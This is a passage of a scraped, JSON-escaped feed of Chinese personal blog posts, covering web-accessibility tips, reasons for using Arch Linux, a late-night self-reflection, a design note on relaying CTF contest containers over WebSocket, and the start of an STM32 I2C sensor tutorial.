class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ematchMedia\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;(prefers-color-scheme: dark)\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003ematches\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"语言统一\"\u003e语言统一\u003c/h2\u003e\n\u003cp\u003e应当提供完善的i18n支持,但是对于某些专有名词和惯用约定不要乱翻译。\u003c/p\u003e\n\u003ch2 id=\"区分已访问链接与未访问链接\"\u003e区分已访问链接与未访问链接\u003c/h2\u003e\n\u003cp\u003e很多时候为了让链接的原本颜色与主题背景颜色区分开,我们都会重新设定链接的显示颜色。但是设定的时候通常会忘掉将已访问链接与未访问链接做一个区分,这样会影响可访问性。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-css\" data-lang=\"css\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003ea\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"mh\"\u003e#0078D6\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"nd\"\u003evisited\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecolor\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003epurple\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"保证可交互元素的outline\"\u003e保证可交互元素的outline\u003c/h2\u003e\n\u003cp\u003e在使用键盘tab聚焦某个元素的时候,应当有outline或者其他的视觉变化标识这个元素被聚焦了。\u003c/p\u003e\n\u003ch2 id=\"内容页面需要具有独立的url\"\u003e内容页面需要具有独立的URL\u003c/h2\u003e\n\u003cp\u003e某些单页应用的多个页面切换不会更新URL,导致刷新或者将链接分享与他人的时候往往无法直接得到所需要的页面。\u003c/p\u003e\n\u003ch2 id=\"不应当有user-agent限制\"\u003e不应当有User-Agent限制\u003c/h2\u003e\n\u003cp\u003e实际上其他浏览器也能够正常浏览页面(骂的就是你,西电一站式服务大厅)。\u003c/p\u003e\n\u003ch2 id=\"对可交互元素改变鼠标指针\"\u003e对可交互元素改变鼠标指针\u003c/h2\u003e\n\u003cp\u003e而不是点到哪儿都是一个箭头。\u003c/p\u003e\n\u003ch2 id=\"不要使用js进行链接跳转\"\u003e不要使用js进行链接跳转\u003c/h2\u003e\n\u003cp\u003e浏览器支持悬浮预览URL,也支持中键在新标签页中打开等快速操作,不要到处搞\u003ccode\u003ediv\u003c/code\u003e然后用js监听事件并重写\u003ccode\u003elocation\u003c/code\u003e(骂的就是你,Bilibili)。\u003c/p\u003e\n\u003ch2 id=\"内容文本支持用户选择操作控件反之\"\u003e内容文本支持用户选择,操作控件反之\u003c/h2\u003e\n\u003cp\u003e对于展示内容的文本,要能够支持用户使用鼠标选中(骂的就是你,学习通);对于操作控件而言,其文本支持鼠标选中后会使样式看起来奇奇怪怪。\u003c/p\u003e\n\u003ch2 id=\"将-submit-操作包含在-html-form-中\"\u003e将 submit 操作包含在 HTML form 中\u003c/h2\u003e\n\u003cp\u003e对于一些网页表单,应当把 “提交” 按钮包括在表单之中,这样就可以通过 Tab 进行切换,而不需要用户。\u003c/p\u003e\n\u003cp\u003e在实现支持的情况下,可以在所有表单项均填写完毕时,支持回车直接提交表单。但是请不要在表单未填写完毕的时候支持回车提交,这样会很破坏用户的使用体验。\u003c/p\u003e\n\u003ch2 id=\"更多\"\u003e更多……\u003c/h2\u003e\n\u003cp\u003e还有什么想到的,以后再写吧。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/web_developing_principles/"},{"title":"关于使用 Linux Desktop","time":"2022-12-09T15:57:50+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e关于我为什么要用 Linux Desktop 这件事。只是写一点想法,无意参与所谓的 “操作系统圣战”,硬吹操作系统还要搞鄙视链的人多少有点魔怔。\u003c/p\u003e\n\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e我目前的工作环境是 Arch Linux x86_64 with KDE Plasma Wayland。\u003c/p\u003e\n\u003cp\u003e说起 Arch,在网上一搜,基本上都充满了 “Arch Linux是世界上最好的操作系统!” “Arch性能超越Windows!” “只有闲着没事干的学生党才会用Arch” “有这折腾的功夫去学点有用的不好吗” “Arch不稳定,傻子才用” 之类的极端风评,像极了教徒圣战现场。实际上静心体验一段时间下来,感觉有时间发表这些言论的人才是真的闲得没事干,操作系统是给人用的,不同系统之间区别哪有那么大。\u003c/p\u003e\n\u003ch2 id=\"windows有啥不好的要用linux\"\u003eWindows有啥不好的,要用Linux?\u003c/h2\u003e\n\u003cp\u003e没啥不好的。从设计哲学上来看,Windows喜欢大一统,将各种功能集成与一身,然后又以 “一切皆为窗口” 的设计哲学,将所有的功能做成 GUI 提供给用户,让用户能够拿个鼠标点点点就能完成绝大多数任务,从各种意义上来说 Windows 都是一个很nb的操作系统。\u003c/p\u003e\n\u003cp\u003e从 WSL/WSL2 发布,再到 WSLg 和能直接运行安卓应用的 WSA,Windows上的开发体验也逐渐变得十分优秀,在这方面实在没什么好黑的。\u003c/p\u003e\n\u003cp\u003e我不用 Windows 的原因如下:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eWindows 太复杂了。我一直不太玩的明白注册表、Windows事件之类的东西,在用上 WSL 之后,我连网卡配置都搞不定,遂放弃;\u003c/li\u003e\n\u003cli\u003e想自己动手搞定系统问题太难了。先不说网上弥漫着的CSDN垃圾和百度知道垃圾处处误导,Windows 自己本身出错也最多就给一个错误码,或者给一个没什么用的二维码,扫一下给个错误标志符,没有任何日志可以给用户看。如果上微软的社区去提问,大概率会得到 “重启一下” 之类的回答,或者就被晾在那儿90天,帖子自动锁定,然后在搜索引擎里留下一团垃圾,等下一个倒霉鬼搜索到之后点开一看,No Answer here。即使通过Windows事件日志找到了某些错误日志,读起来也很难受,而且读完了发现似乎不是我能搞定的,我也看不到 Windows 的源代码,于是只能寻找一些绕过错误的妥协方案;\u003c/li\u003e\n\u003cli\u003e行为不可控,或者说不完全可控。如果各位搭过代理的话,应该看见过大部分代理都会有的流量连接日志。在Linux下,我闲着的时候日志就是空的,我不动它不动。但是在 Windows 下面,即使我把我看得到的所有联网软件都给关掉,那个流量日志依旧跑个不停。这感觉就像请了一个管家,结果管家天天把家里的东西往外拿一样;\u003c/li\u003e\n\u003cli\u003e阻止奇怪的第三方软件倒垃圾太难了。这一块儿其实怨不着 Windows,单纯是厂商作恶。我就不点名有什么奇怪的杀毒软件、聊天软件会到处扫描个人文件和浏览器访问记录了。为了所谓的 “安全”,随便什么东西都要给 Windows 里塞一个驱动模块,还要以最高权限运行,生怕权限低了会被别人攻击,甚至还有某杀软在后台搞竞争……\u003c/li\u003e\n\u003cli\u003e开发者体验太差了。即使有 WSL 存在,我还是要说,毕竟 WSL 也是一个 Linux 开发环境,但总要写一些在原生 Windows 上跑的东西。任何一个 CMake 项目整下来,我都要为了各种库依赖、编译器特性折腾几圈,有时候写个Qt程序写了两天,为了让它成功链接到库上,再成功给打包成二进制花了一星期;\u003c/li\u003e\n\u003cli\u003e二进制库太混乱了。之前看过某取证软件的安装文件夹,里面大概有七八份一模一样的 Qt dll,还有一大堆 msvc 运行时,有时候有点怀疑,如果我能够把系统里所有的软件依赖库都给统一起来,我能省下来多少硬盘空间;\u003c/li\u003e\n\u003cli\u003e系统升级。我挺乐意升级系统的,希望能看见一些新东西,修一些奇怪的bug。但是Windows的升级体验只能说…… 每次升级都要仰着脸等着它转圈圈,然后重启若干次。\u003c/li\u003e\n\u003cli\u003e\u003cdel\u003e不好看。这个其实比较主观,个人稍有一点观感洁癖,所以对Windows混搭了十几年的设计风格实在看不下去,怎么有系统可以同时具有02年08年13年22年的设计风格啊\u003c/del\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e当然这里面包含了不少我个人因素,例如更新之类的,如果你不更新的话就完全没有这个问题,所以看个乐呵。\u003c/p\u003e\n\u003ch2 id=\"arch-不稳定三天挂两次折腾自己干嘛\"\u003eArch 不稳定,三天挂两次,折腾自己干嘛\u003c/h2\u003e\n\u003cp\u003e我一直觉得你得先自己去体验体验,才有资格去评判某件事物。\u003c/p\u003e\n\u003cp\u003e我的 Arch 稳定跑了三四年了没出过问题,由于研究方向原因我没事还得调调系统环境,特殊情况下还得自己build内核,怎么没挂过?\u003c/p\u003e\n\u003ch2 id=\"那干嘛不用-mac\"\u003e那干嘛不用 Mac?\u003c/h2\u003e\n\u003cp\u003e部分闭源相关的原因和Windows相同,包括看不见源代码所以不能自己上手修之类的,更主要的原因是\u003cstrong\u003e没钱\u003c/strong\u003e。\u003c/p\u003e\n\u003ch2 id=\"linux-desktop-就没有问题吗\"\u003eLinux Desktop 就没有问题吗?\u003c/h2\u003e\n\u003cp\u003e有,问题多了去了,大bug不多,小bug不断。我这几年基本上每个星期都要往不同开源社区提一个issue,某些时候我甚至自己上手修,然后给对应的项目提pr,\u003cdel\u003e水贡献度\u003c/del\u003e。在没找到比较符合我使用习惯的音乐播放器之后,我还\u003ca href=\"https://github.com/Reverier-Xu/BitWave\" target=\"_blank\" rel=\"noopener noreffer \"\u003e自己写了一个\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"建议别人用什么操作系统\"\u003e建议别人用什么操作系统?\u003c/h2\u003e\n\u003cp\u003e没啥建议,如果你对 Windows 有很大意见,欢迎来体验一下 Linux Desktop。发行版的话随便挑一个,都差不多,都2022年了还有发行版不稳?\u003c/p\u003e\n\u003cp\u003e如果你觉得当前环境很舒适,也没有什么未来可预见的需求是当前操作系统用起来不舒服的,那就不要换,瞎折腾。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/about_linux_desktop/"},{"title":"2022.11.19 一点想法","time":"2022-11-19T01:49:27+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e现在是凌晨两点, 人精神的和鬼一样, 写点东西反思一下.\u003c/p\u003e\n\u003cp\u003e之前看过一句话, 记不太清了, 大意是“如果你觉得生活中处处带刺处处被针对那么大概是你自己出了毛病”, 那我现在可能确实有什么大病. 夜晚水群的时候被一位很好的朋友用*舟子这种sb来形容, 当时瞬间难受的话都不会说了. 冷静下来想了想, 自己确实在气急败坏. 我不知道我的行为是在较真、无理取闹, 我日常吐槽自己遭遇的行为到底是在合理吐槽还是在故意卖惨——可能我自己觉得很正常的事情在别人眼里就变了味道.\u003c/p\u003e\n\u003cp\u003e我自己少有一点开发经验, 于是喜欢到处揽活写东西, 感觉自己写出来的东西能给别人带去良好的体验也算是创造了价值.\u003c/p\u003e\n\u003cp\u003e但是揽活背锅这个过程总是不美好的. 我已经记不清楚连着一个月除了代码代码代码之外空无一物、连基础睡眠都无法保证的日子是怎么过的, 也有很多朋友亲人劝说过我身体第一, 我自己也明白这样下去迟早会出问题, 于是最近在尽力养生了 (今晚除外吧, 心情比较……特殊) .\u003c/p\u003e\n\u003cp\u003e不过除了睡眠和身体问题之外, 更严重的可能是心理问题.\u003c/p\u003e\n\u003cp\u003e我在网易云有一个\u003ca href=\"https://y.music.163.com/m/playlist?app_version=8.8.70\u0026amp;id=5363370586\u0026amp;userid=544989612\u0026amp;dlt=0846\u0026amp;creatorId=544989612\" target=\"_blank\" rel=\"noopener noreffer \"\u003e歌单\u003c/a\u003e, 里面的东西大概长下面这样:\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e(感兴趣的可以听一听, 记得把音量调小)\u003c/p\u003e\n\u003cp\u003e每当心情烦躁的时候, 我都会尝试说服自己先挺一挺, 挺过去就好了, 接着戴上耳机音量开大, 开始播放一些能带来无意义杂音轰炸耳朵的东西, 这样我就能在很长一段时间之内以一种只去思考眼前问题的状态坚持下去. 睡眠其实是刻意远离的, 躺在床上无所事事的时候我就不可避免的去emo, 去思考我这么做的意义, 接着意志消沉什么也不想做. 所以在干活期间, 睡觉基本上是确认了自己能在十秒钟之内失去意识之后才会倒头去睡.\u003c/p\u003e\n\u003cp\u003e在干活的时候我一般不太喜欢先去说自己有多惨, 我父亲经常跟我说, 觉得艰苦的话, 咬咬牙就过去了, 卖惨是懦夫行为;也曾经因为我小时候做某些事情半途而废开始哭惨而教育过我, 于是我后来一直是这样做的, 在背锅的事情完成之前从来不抱怨, 我觉得我做的还行.\u003c/p\u003e\n\u003cp\u003e但是心理压力总是要排解的, 虽然我做事的时候尽力不去半途而废, 也尽力不去哭惨卖惨, 甚至不愿意去思考除了代码、逻辑、任务之外的事情. 我知道我一旦去想这些事情, 我就停不下来, 心理防线是很难修的. 当某件背锅的事情、某个项目终于完成的时候, 我大概会瘫上一两周什么也不想干, 这个时候如果聊天谈到了, 我就喜欢说这个项目究竟怎么折腾我了、我绷不住了之类的话 (毕竟没有在事情做到一半的时候就抱怨嘛, 大概也不算懦夫行为) . 不过大家对我写出来的东西也都表示了认可, 虽然也有那么几个说我写的不彳亍的, 但总的来说我的心态大概是, 我写的东西总算没白费, 大家开心就好, 也就不会emo了.\u003c/p\u003e\n\u003cp\u003e我目前觉得我的心理状况还是很不错的, 距离抑郁症还很远, 但可能确实出了一点问题. 我喜欢到处挑一些离谱的事情去群里吐槽, 看见大家附和的时候我的心理压力会小很多, 我觉得我的想法是有人认可的, 这大概是什么奇怪的心理认同效应. 我也喜欢在我认为开玩笑的语气上去说一下我之前背锅有多惨有多惨, 不过这件事情已经过去了, 我已经坚持下来了, 所以也无所谓了, 也就那样嘛. 不过似乎并不是每个人都觉得我在开玩笑, 他们觉得我就是在卖惨, 不过也有一些朋友是真的心疼我.\u003c/p\u003e\n\u003cp\u003e但是我还是经常会控制不住自己情绪的. 经常会有朋友说我爱翻旧账, 我的导师之前也说过一次不太想找我做事, 因为每次事后总结我都要bb半天, 最后整的心情都不愉快了. 所以后来我做过的事情我也不咋说了, 说了大家都不开心, 只有我心理压力排解出去了, 何必呢. 况且事后卖惨也算卖惨, 家训都到哪儿去了.\u003c/p\u003e\n\u003cp\u003e也可能是自己确实做了很多事情, 所以有时候经常会有一种自信, 觉得自己做的事情说的话大抵都是正确的, 自己的人品倒也还彳亍, 至少不离谱. 所以在人品被怀疑的时候我很难放得下, 越是重要的人这么说我, 我越上火, 越想急着证明自己不是那样的人, 即使对方都打算打哈哈把事情放过去了我都要继续追着说下去, 不然我心里真的难受. 然后谈话就逐渐向着不可控制的方向发展了, 最后弄的双方剑拔弩张.\u003c/p\u003e\n\u003cp\u003e有时候我也很倔. 可能是被代码和各种框架折腾多了的缘故, 我总有一种“我的经验比你丰富所以你要听我的”的莫名自信, 这个可能不仅仅只体现在写代码这件事上, 也影响了我日常的一些观点. 体现出来大概就是倔, 听不进去别人的意见, 一定要说服别人接受我的观点. 我之前很多次意识到这个问题, 我想努力去改, 但是总会不经意间这样. 有时候给关系弄的不愉快了, 事后想想感觉自己就是个sb.\u003c/p\u003e\n\u003cp\u003e我现在的生活应该也算忙碌和充实的, 但是我的圈子也就那么大, 有一些交心朋友, 一位很好的老师, 二次元, 还有每周两次和家人视频聊天的时光. 但是在遇到某些难受事情的时候, 可能还是得自己憋着比较好. 一来别人没有义务承担来自我的心理压力, 二来我的心理状态可能会影响其他人的心理状态, 属实有点…\u003c/p\u003e\n\u003cp\u003e以后我还是多分享一下生活中的乐趣, 少一点抱怨挑刺, 可能生活会好一些. 生活的美好是虚假的, 但我不是强大到足以直面事实的人, 就这样吧. 希望能看到这篇博客的人不会被我的糟心状态所影响, 如果我日常有什么让你难受的地方了, 我在这里真诚道歉, 我有在努力纠正了, 感谢能遇到你们.\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/20221119_thinks/"},{"title":"WebSocketReflectorX 开发小记","time":"2022-11-12T22:08:19+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"需求\"\u003e需求\u003c/h2\u003e\n\u003cp\u003e  在 CTF 比赛中经常会有动态类型的题目,每个选手都拥有自己的题目容器,与其他选手的环境相互隔离,不同容器中的 flag 值也各不相同。这样能够显著提升作弊成本进而减少作弊行为,对于一些简陋的作弊行为也可以直接查处;同时也能够避免选手在做题过程中对题目环境造成不可逆的破坏,从而耽误其他选手的解题过程;当选手无意对自己的环境造成破坏后,也可以自助重启容器来恢复做题环境。\u003c/p\u003e\n\u003cp\u003e  对于动态题目而言,目前已经有一些比较成熟的解决方案了,例如 \u003ca href=\"https://github.com/frankli0324/CTFd-Whale\" target=\"_blank\" rel=\"noopener noreffer \"\u003efrankli0324/CTFd-Whale\u003c/a\u003e 等等,但是总有一些不妙的地方,使得这些解决方案在某些场景下会受到各种各样的限制。\u003c/p\u003e\n\u003cp\u003e  如何让选手舒适的访问到容器一直是比赛平台开发中一件难以解决的需求,对于某些限制颇多的场景下越是如此。我们就遇到了这样的一个场景:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e学校服务器仅拥有一个单域名解析,不支持泛域名,不支持自行签发证书,所有流量需要通过 CDN 转发,再通过堡垒机审计之后解密成明文HTTP流量,再转发给我们的服务器。我们对 CDN、堡垒机、域名均没有控制权,堡垒机安全组也仅开放 堡垒机443端口 -\u0026gt; 服务器80端口 这一条通道,服务器的其他端口均无法从外部进行访问,用 IP 地址直连都不行。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e  在服务器场景如此受限的情况下,我们应当怎么把动态题目容器映射出去?\u003c/p\u003e\n\u003ch2 id=\"现有反向代理方案\"\u003e现有反向代理方案\u003c/h2\u003e\n\u003cp\u003e  上文提到的解决方案中或多或少的都考虑到了这个问题。例如 \u003ca href=\"https://github.com/frankli0324/CTFd-Whale\" target=\"_blank\" rel=\"noopener noreffer \"\u003eCTFd-Whale\u003c/a\u003e 的解决方案就是利用 frp 进行内网穿透,然后将题目流量反向代理到一台我们拥有控制权的服务器上,然后用我们自己的域名进行泛域名分发和端口分发。这样的好处是选手的解题体验会很好,和直接对着原始题目端口打没有区别。但是缺点很明显:一旦中转服务器出现一点问题,那么所有的动态题目容器会同时挂掉。由于密码和 pwn 题目本身的交互特殊性,不能使用基于 HTTPS 的 L7 流量转发,只能通过分配不同端口的形式做 L4 分流。这样就要求我们必须要将中转服务器直接暴露在公网上,这样一旦遭遇 DDoS 攻击,救都没法救。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注:L4 、L7 指的是计算机网络中的第四层传输层与第七层应用层,以下简写。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch2 id=\"在某些场景下基于sni的方案\"\u003e在某些场景下基于SNI的方案\u003c/h2\u003e\n\u003cp\u003e  后来学长 \u003ca href=\"https://github.com/zkonge\" target=\"_blank\" rel=\"noopener noreffer \"\u003ezkonge\u003c/a\u003e,\u003ca href=\"https://github.com/frankli0324\" target=\"_blank\" rel=\"noopener noreffer \"\u003eFrank\u003c/a\u003e 提出了一种新的方法:利用 \u003cstrong\u003e服务器名称指示(SNI)\u003c/strong\u003e 机制进行 L4 流量转发。由于 TLS 流量是完全加密的,对于某些需要承载多个网站的单一服务器来说就没办法使用单一证书进行解密。于是, SNI 在 2003 年 6 月的 RFC 3546 标准提出的《传输层安全(TLS)扩展》中加入到 \u003ca href=\"https://zh.m.wikipedia.org/wiki/IETF\" title=\"IETF\" target=\"_blank\" rel=\"noopener noreffer \"\u003eIETF\u003c/a\u003e 的 \u003ca href=\"https://zh.m.wikipedia.org/wiki/RFC\" title=\"RFC\" target=\"_blank\" rel=\"noopener noreffer \"\u003eInternet RFCs\u003c/a\u003e 内。目前所有主流 TLS 客户端均已支持 TLS 的 SNI 扩展协议。\u003c/p\u003e\n\u003cp\u003e  这种方案虽然解决了多端口、无加密的问题,但无法进行 CDN 保护的问题仍然存在。又由于这套方案依赖于多域名,我们需要一个泛域名证书与一个 我们拥有完全控制权的域名,显然也是不适用学校服务器这一诸多限制场景的。\u003c/p\u003e\n\u003ch2 id=\"websocket-中转方案\"\u003eWebSocket 中转方案\u003c/h2\u003e\n\u003cp\u003e  在此基础上,我考虑出一种新的方法:利用 WebSocket 进行 TCP 流量转发,也就是在 L7 上再搭一层 L4。\u003c/p\u003e\n\u003cdiv class=\"mermaid\" id=\"id-1\"\u003e\u003c/div\u003e\n\u003cp\u003e  其中转发器是跑在选手本地的,服务器接收器是跑在服务器端的。转发器在启动的时候需要传入一个服务器地址与一个特定的 URI,然后转发器便会作为一个本地的 TCP 服务器开启一个端口。服务器接收器会监听某个路由下的请求,接收请求之后根据请求的地址是否有对应的题目容器,与转发器建立起一条 WebSocket 连接,然后将连接中的所有数据原样转发到对应容器服务的端口上。当选手对本地转发器开放的 TCP 端口建立 TCP 连接时,转发器便会立即向服务器发起一次 WebSocket 连接请求,然后将原始流量尽数转发。\u003c/p\u003e\n\u003cp\u003e  由于 WebSocket 建立连接需要客户端先发送一个 HTTP Upgrade 请求,服务器才会响应并将其升级为 WebSocket 连接,所以我们可以给服务器套上 CDN 或者防火墙之类的东西,只要 CDN 和防火墙均支持转发 WebSocket 请求即可,所幸学校的堡垒机和 CDN 服务都支持 WebSocket。同时,我们可以通过修改 nginx 配置,将接收器配置在某个子路径之下,这样其他路径还可以部署其他的服务,例如比赛平台之类的,问题就解决了。\u003c/p\u003e\n\u003cp\u003e  虽然看起来很美好,但这个方案实际上是不完美的。有一个很明显的问题就是选手的环境各不相同,所以转发器必须要“全平台”。这个全平台不仅仅只是 Windows,Linux,MacOS 三端,还要包括这些系统的历史版本。因为 CTF 题目类型多样,经常会有一些题目要求一些特定的题目环境才能够打通,那么连接器也需要能够在这种环境下无压力运行,才能够用起来比较舒适。\u003c/p\u003e\n\u003cp\u003e  还有一个问题是连接器可能会降低选手的做题体验。毕竟又是要下载又是要启动,还要对着本地端口打,让选手操作的步骤越多,比赛体验就越低。对于连接器的设计,可能还需要再多考虑考虑。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/wsrx_1/"}]},{"name":"康师傅","email":"","uri":"http://http//blog.ksfu.top/","description":"太菜了","article":[{"title":"STM32使用硬件IIC驱动SHT30温湿度传感器","time":"2023-07-13T16:37:34Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"STM32使用硬件IIC驱动SHT30温湿度传感器\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#STM32%E4%BD%BF%E7%94%A8%E7%A1%AC%E4%BB%B6IIC%E9%A9%B1%E5%8A%A8SHT30%E6%B8%A9%E6%B9%BF%E5%BA%A6%E4%BC%A0%E6%84%9F%E5%99%A8\" class=\"headerlink\" title=\"STM32使用硬件IIC驱动SHT30温湿度传感器\"\u003e\u003c/a\u003eSTM32使用硬件IIC驱动SHT30温湿度传感器\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e喜报,终于写完了\u003c/del\u003e\u003c/p\u003e\u003cp\u003e当时网上 xjb乱逛,突然看见有人讨论小米温湿度传感器,我当时也买了个这玩意,于是突然感兴趣查了一下用的传感器——SHT30,协议是IIC。当时想着能不能自己也山寨一个小米温湿度传感器 \u003cdel\u003e,然后下单了SHT30之后就再也没动过\u003c/del\u003e 。这会放假了,想起来这玩意,就整一整吧,顺便再 \u003cstrong\u003e学习一遍IIC协议\u003c/strong\u003e 。图个方便,这次先用硬件IIC。\u003c/p\u003e\u003ch2 id=\"IIC-协议\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#IIC-%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"IIC 协议\"\u003e\u003c/a\u003eIIC 协议\u003c/h2\u003e\u003ch2 id=\"I2C协议介绍\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#I2C%E5%8D%8F%E8%AE%AE%E4%BB%8B%E7%BB%8D\" class=\"headerlink\" title=\"I2C协议介绍\"\u003e\u003c/a\u003eI2C协议介绍\u003c/h2\u003e\u003ch3 id=\"(1)I2C协议简介\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%881%EF%BC%89I2C%E5%8D%8F%E8%AE%AE%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"(1)I2C协议简介\"\u003e\u003c/a\u003e(1)I2C协议简介\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e【省流版】:\u003c/p\u003e\u003cp\u003e串行通信协议的一种,属于串行通信协议中的半双工同步通信。\u003c/p\u003e\u003cp\u003eIIC是一种被定义好的标准,采用二线制,一条数据线,一条时钟线;\u003c/p\u003e\u003cp\u003e数据线传输数据,一位一位传输;时钟线控制传输速率。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eI2C总线是Philips公司在八十年代初推出的一种\u003cstrong\u003e串行、半双工的总线\u003c/strong\u003e,主要用于近距离、低速的芯片之间的通信。\u003c/p\u003e\u003cp\u003e每个IIC器件有两条线路:\u003c/p\u003e\u003cul\u003e\u003cli\u003eSDA是供主器件和节点发送和接收数据的线路。\u003c/li\u003e\u003cli\u003eSCL是承载时钟信号的线路。SCL总是由I2C主器件生成。规范对时钟信号的低相位和高相位有最短周期要求。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003eI2C总线仅使用两条双向线路:每个器件的SDA和SCL用于简单的IC间通信。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/11.webp\" style=\"zoom:80%;\"/\u003e\u003cp\u003e硬件最重要的注意是在SDA和SCL上加入上拉电阻。I2C器件通过开集或开漏引脚连接到总线,将线路拉低。当没有数据传输时,I2C总线处于高电平空闲状态;线路被被动拉高。要传输数据,须切换线路,即先拉低再释放(又变为高电平)。数据位在时钟下降沿传输。\u003c/p\u003e\u003cp\u003e开漏输出需要一个上拉电阻(Rp)才能正确输出高电平。上拉电阻连接在输出引脚和高电平所需的输出电压(VDD)之间。\u003c/p\u003e\u003cp\u003e对于VCC和VDD (5 V)的典型值,4700 Ω是最常用的上拉电阻值。\u003c/p\u003e\u003cp\u003eI2C总线是一种主从结构(Master/Slave)总线, I2C总线上的每一个设备都可以作为主设备或者从设备,但一个总线上一般只有一个主设备,可以带多个从设备。其中主设备用来产生允许传输的时钟信号,并初始化总线的数据传输,所以主设备通常是CPU,而从设备只能被动响应主设备发起的通信请求,所以各种I2C接口芯片将作为从设备使用。\u003c/p\u003e\u003ch4 id=\"(2)I2C从设备地址\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/6c49/#%EF%BC%882%EF%BC%89I2C%E4%BB%8E%E8%AE%BE%E5%A4%87%E5%9C%B0%E5%9D%80\" class=\"headerlink\" title=\"(2)I2C从设备地址\"\u003e\u003c/a\u003e(2)I2C从设备地址\u003c/h4\u003e\u003cp\u003e因为一个I2C总线上可以有多个从设备,这样主设备需要通过地址来确定与哪个器件进行通信。I2C总线上每个从设备都有一个唯一的7bit地址物理识别,这个地址固化在芯片内部,并可以从芯片datasheet上找到。\u003c/p\u003e\u003cp\u003eI2C有16个保留地址。\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/SHT30H/12.webp\" style=\"zoom:80%;\"/\u003e\u003cp\u003e其中I2C的从器件地址(本次SHT30只用到了7位的)的组成如下:\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e1byte = 7bit地址 + 